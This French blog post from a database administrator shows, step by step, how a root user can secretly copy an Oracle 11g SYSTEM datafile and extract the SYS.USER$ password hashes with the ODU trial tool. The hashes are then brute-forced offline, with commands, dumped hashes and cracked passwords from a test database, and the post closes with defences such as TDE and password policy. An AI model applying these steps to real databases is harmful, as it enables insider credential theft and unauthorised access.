Comment casser un mot de passe sans connexion à la base

(Titre un peu racoleur pour attirer le clic Wink)

[MAJ 20/11/2015: correctif sur la force des mot de passe 10g et 11g]

Cet article fait suite à La sécurité des mots de passe dans lequel je récupérais le mot de passe crypté grâce à une connexion dans la base. Puis par brute force je décryptais le mot de passe.  Puis j’écrivais alors :

Cependant il ne faut pas oublier qu’il [le mot de passe] est stocké dans une table, donc dans un datafile,  qui plus est, appartenant au tablespace SYSTEM, ce qui signifie un fichier pas trop volumineux et dont le nom est très certainement de la forme system.dbf, en un mot, dans un fichier facilement identifiable. Il suffit à un administrateur qui a accès au compte root par exemple,  de le copier et de chez lui, tranquillement, le décortiquer pour trouver le mot de passe chiffré. Ensuite il ne reste plus qu’à le déchiffrer par attaque au dictionnaire ou par force brute.

Je vous propose cette fois-ci de passer par la copie du datafile du tablespace SYSTEM, comme cité ci-dessus.

 

En tant que root ou tout autre compte ayant au moins le droit de lecture sur le datafile du tablespace SYSTEM,  je le copie ni vu ni connu sur un support mobile ou alors je l’envoie par ftp/sftp sur un autre serveur linux. Pour mon test j’ai mis le system01.dbf que j’ai récupéré dans /tmp sur un linux avec un moteur oracle 11gR2 d’installer.

Maintenant au travail. Comment extraire les mots de passe du fichier ? Je pourrais essayer de l’ouvrir avec un éditeur genre un notpad++ et galérer pour retrouver les données sys.user$  mais il y a des utilitaires légaux pour récupérer des  données dans les datafiles. Ils sont payants et assez cher. Il y a ODU, JDUL,  BBED, AUL...  Vous pouvez même contacter le support Oracle pour qu’ils viennent avec le vrai DUL (Data UnLoader) mais il va falloir débourser et bien sûr ce ne sera pas pour cracker des mots de passe mais pour une vraie urgence :

Manually extract the data using the Oracle's Data Unloader (DUL), which is performed by Oracle Field Support at the customer site on the next business day and for an extra charge. If the customer wants to pursue this approach, we need the complete name, phone# and email address of the person who has the authority to sign the work order in behalf of the customer.

 

Si tout est payant alors comment faire ? On ne va pas cracker des logiciels derrière lesquels des gens ont travaillé, ce n’est pas moral de voler le travail des autres. On  va tout  simplement télécharger  la version trial de ODU : ODU trial . Cette version est limitée à seulement le tablespace SYSTEM… et cela tombe bien c’est là où nous voulons entrer.

Après le téléchargement, il n’y a pas d’installation particulière :  on dezip et detar et c’est tout.

Dans le fichier de controle de l’outil j’indique ou se trouve le fichier le datafile source.

[oracle@oradbm1 ~]$ cd /home/oracle/odu
[oracle@oradbm1 odu]$ vi control.txt
         0          0          0 /tmp/system01.dbf

Ensuite il faut mettre à jour le fichier config.txt. Il faut mettre au moins le bon endian format et le block size de la base.  Pour le endian format ce n’est pas compliqué c’est du big ou little. Je suis sur Linux Intel c’est donc du little. Je laisse donc la ligne par défaut :

byte_order little

Le block size je laisse par défaut 8192 si cela fonctionne tant mieux sinon il va falloir trouver le block size. Mais ce n’est pas compliqué d’extraire le block size quand on a un fichier de la base de données. Rappelez-vous l’article : Astuce : retrouver un DBID perdu.  Pour illustration, j’exécute la procédure pour retrouver le DBID, elle permet aussi de retrouver aussi le blocksize:

[oracle@oradbm1 tmp]$ sqlplus / as sysdba

Connected to an idle instance.

SQL> startup nomount
ORACLE instance started.

Total System Global Area  238034944 bytes
Fixed Size                               2227136 bytes
Variable Size                       180356160 bytes
Database Buffers               50331648 bytes
Redo Buffers                        5120000 bytes

SQL> alter system dump datafile '/tmp/system01.dbf'block min 1 block max 10;
System altered.

SQL> exit

[oracle@oradbm1 trace]$ cd /oracle/oraBase/diag/rdbms/bidon/BIDON/trace
[oracle@oradbm1 trace]$ vi BIDON_ora_2612.trc

[...]
Start dump data block from file /tmp/system01.dbf minblk 1 maxblk 10
V10 STYLE FILE HEADER:
        Compatibility Vsn = 186646528=0xb200000
        Db ID=630020041=0x258d57c9, Db Name='TESTORA'
        Activation ID=0=0x0
        Control Seq=4140=0x102c, File size=89600=0x15e00
        File Number=1, Blksiz=8192, File Type=3 DATA
[...]

C’est donc un datafile de block size 8k (8192). Je peux donc laisser le par défaut du fichier :

block_size  8192

Ensuite , il y a aussi la ligne ...

data_path   /tmp

...à mettre à jour avec le chemin du datafile. Il y aurait aussi charset_name mais par défaut US7ASII peut être laissé dans notre cas même si le characterset de la base source n’est pas celui-là, pour la table USER$ cela fonctionnera.

Je peux alors lancer l’extraction :

[oracle@oradbm1 odu]$ ./odu

Oracle Data Unloader trial version 4.1.3

Copyright (c) 2008,2009,2010,2011 XiongJun. All rights reserved.
Web: http://www.oracleodu.com
[…]
grp# dsk# bsize ausize disksize diskname        groupname       path
---- ---- ----- ------ -------- --------------- --------------- --------------------------------------------

load asm disk file 'asmdisk.txt' successful
loading default control file ......
ts#   fn  rfn bsize   blocks bf offset filename
---- ---- ---- ----- -------- -- ------ --------------------------------------------
   0    1    1  8192    89600 N       0 /oradata/TESTORA/system01.dbf

load control file 'control.txt' successful
loading dictionary data......done
loading scanned data......done

ODU> save control

ODU> unload dict

CLUSTER C_USER# file_no: 1 block_no: 208
TABLE OBJ$ file_no: 1 block_no: 240
CLUSTER C_OBJ# file_no: 1 block_no: 144
CLUSTER C_OBJ# file_no: 1 block_no: 144
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found TABPART$'s obj# 568
found TABPART$'s dataobj#:568,ts#:0,file#:1,block#:3864,tab#:0
found INDPART$'s obj# 573
found INDPART$'s dataobj#:573,ts#:0,file#:1,block#:3904,tab#:0
found TABSUBPART$'s obj# 580
found TABSUBPART$'s dataobj#:580,ts#:0,file#:1,block#:3968,tab#:0
found INDSUBPART$'s obj# 585
found INDSUBPART$'s dataobj#:585,ts#:0,file#:1,block#:4008,tab#:0
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found LOB$'s obj# 80
found LOB$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:6
found LOBFRAG$'s obj# 601
found LOBFRAG$'s dataobj#:601,ts#:0,file#:1,block#:4136,tab#:0

ODU> unload table sys.user$

Unloading table: USER$,object ID: 22
Unloading segment,storage(Obj#=22 DataObj#=10 TS#=0 File#=1 Block#=208 Cluster=1)
54 rows unloaded

L’extraction est fini et le résultat se trouve dans /tmp:

[oracle@oradbm1 tmp]$ ls -l SYS*
-rw-r--r--. 1 oracle oinstall  835 Oct 28 21:07 SYS_USER$.ctl
-rw-r--r--. 1 oracle oinstall  719 Oct 28 21:07 SYS_USER$.sql
-rw-r--r--. 1 oracle oinstall 6154 Oct 28 21:07 SYS_USER$.txt

L’outil à l’origine est fait pour récupérer des données, le résultat est sous forme d’un sql*loader prêt à être lancé.

Toute la table se trouve dans SYS_USER$.txt.

Maintenant je récupère 3 lignes dans SYS_USER$.txt pour 3 mot de passe à cracker (mot de passe de SYSTEMn TESTUSER et TEST1):

51|TESTUSER|1|B222330EE300D65A|4|3|2015-02-03 22:01:13|2015-02-03 22:01:13|||0||1|||0|0|DEFAULT_CONSUMER_GROUP||0|||S:E06DD6198BB3D7852D3882DB3782920F24859D827325BF17D397815BD7B0
5|SYSTEM|1|2D594E86F93B17A1|0|3|2013-02-20 22:11:44|2015-02-03 22:46:39|2015-02-10 22:08:26||0||1|||0|0|DEFAULT_CONSUMER_GROUP||0|||S:781E152577D4F956B01B412105EAD2F4414D348F383C09B358B412B3D753
53|TEST1|1|5E6D5A131B65D193|4|3|2015-10-28 21:35:42|2015-10-28 21:35:42|||0||1|||0|0|DEFAULT_CONSUMER_GROUP||0|||S:284B955C03B6D076D4C9D3B363CD1610BDA3E3BAAB317F563D1023AF08FE

J’utilise le même logiciel que dans l’article La sécurité des mots de passe pour trouver les mot de passe. Mais d’abord à partir des 3 lignes si dessus je crée le fichier passw_testuser.txt avec à l'intérieur:

TESTUSER:B222330EE300D65A:E06DD6198BB3D7852D3882DB3782920F24859D827325BF17D397815BD7B0:TESTORA:oradbm1:
SYSTEM:2D594E86F93B17A1:781E152577D4F956B01B412105EAD2F4414D348F383C09B358B412B3D753:TESTORA:oradbm1:
TEST1:5E6D5A131B65D193:284B955C03B6D076D4C9D3B363CD1610BDA3E3BAAB317F563D1023AF08FE:TESTORA:oradbm1:

Je lance alors le brute force

E:\tmp>xxxxxxxxxx.exe -p passw_testuser.txt -m 6 -c all
Usernames will be permuted!
The number of processors: 4
Number of pwds to check: 100343116692
Number of pwds to check by thread: 25085779173
Password file: passw_testuser.txt, charset: all, maximum length: 6, type: hash
Start: 0 End: 25085779173
Start: 25085779173 End: 50171558346
Start: 50171558346 End: 75257337519
Start: 75257337519 End: 100343116692
Start array thread with 491 number of passwords!
Password found: TESTUSER:TESTUSER:E06DD6198BB3D7852D3882DB3782920F24859D827325BF17D397815BD7B0:TESTORA
Password found: SYSTEM:ORACLE:781E152577D4F956B01B412105EAD2F4414D348F383C09B358B412B3D753:TESTORA
Writing session files...
[...]
Writing session files...
Password found: TEST1:7EST1%:284B955C03B6D076D4C9D3B363CD1610BDA3E3BAAB317F563D1023AF08FE:TESTORA
Elpased time: 3185s
Checked passwords: 16257954004
Password / Second: 4802940

Le mot de passe de TESUSER et SYSTEM trouvé en moins d’une seconde respectivement TESTUSER et ORACLE et 3185s pour TEST1 avec 7EST1% (sur mon pauvre PC de janvier 2010, faudrait que je m’en monte un nouveau!). Evidement comme je l’avais expliqué dans un article précédent c’est parce que la base 11g est compatible avec les clients 10g que cela est aussi facile. C’est le hash 5E6D5A131B65D193 qui a été cassé et pas le 284B955C03B6D076D4C9D3B363CD1610BDA3E3BAAB317F563D1023AF08FE. Si il n’y a pas besoin de compatibilité avec un client 10g (ou moins), il faut mettre dans le sqlnet.ora du serveur sqlnet.allowed_logon_version=12 , la valeur 5E6D5A131B65D193 ne sera alors pas généré et il faudra casser le hash généré avec l’algorithme de la 11g, plus dur à trouver... (remarque les client doivent être en 11gR2 avec au moins le CPUoct2012).

[MAJ 20/11/2015]

En fait il est plus facile de casser en terme de temps le mot de passe stocké au format SHA-1 (ici S:284B955C03B6D076D4C9D3B363CD1610BDA3E3BAAB317F563D1023AF08FE) que celui au format 10g en DES  (ici 5E6D5A131B65D193) avec l’outil oclhashCat qui se sert du GPU de la carte graphique. Donc ce n’est pas grave si sur une 11g il apparait le mot de passe chiffré en DES. J’ai donc lancer hashCat version n’utilise pas le GPU car ma carte graphique est trop ancienne, il m’a fallu 1h35 pour le casser mais cette fois c’est le bon 7est1% (c’est celui en case sensitive) :

284b955c03b6d076d4c9d3b363cd1610bda3e3ba:ab317f563d1023af08fe:7est1%

All hashes have been recovered

Input.Mode: Mask (?a?a?a?a?a?a) [6]
Index.....: 0/1 (segment), 735091890625 (words), 0 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 26.76M words
Progress..: 154041430424/735091890625 (20.96%)
Running...: 00:01:35:55
Estimated.: 00:06:01:49

Started: Fri Nov 20 21:00:37 2015
Stopped: Fri Nov 20 22:36:32 2015

La base utilisée dans cette article était une base 11g pour pouvoir utiliser ODU facilement et récupérer la table SYS.USER$. Et avec une 12c cela donnerait quoi ? C’est plus safe le mot de passe non ? Je ferai prochainement un article dessus dans la rubrique news.

[/MAJ 20/11/2015]

Le remède serait de chiffrer le datafile avec TDE pour empêcher une extraction aussi facile, mais cela n’est pas possible sur le tablespace SYSTEM. La seule solution comme écrit dans l’article La sécurité des mots de passe :

D’où il faut espérer que la base ait une vrai politique de mot de passe (renouvellement, vérification de complexité, taille minimum de mot de passe…).

Si les mot de passe sont « strong » et changés régulièrement, le temps de casser un mot de passe il aura changé d'ici là.

Pour aller plus loin, si les données sensibles sont dans les autres datafiles il n’y aura que TDE (TDE (Part I)) pour éviter ce type hacking, ODU et autres ne pourront pas fonctionner. Les tables sensibles par  exemple celle  des numéros de carte bleue, seront mis dans un tablespace chiffré par TDE.

Pour information ODU fonctionne très bien aussi avec ASM et même avec ASM down et le datafile system dans un diskgroup de plusieurs plusieurs asm disk. Il permet de sortir un datafile d’ASM pour le mettre sur un filesystem (cela signifie que l’attaquant est obligé de déposer ODU sur le serveur de base de donnée, le temps de l’extract) et ensuite vous connaissez la suite…

 

{jcomments on}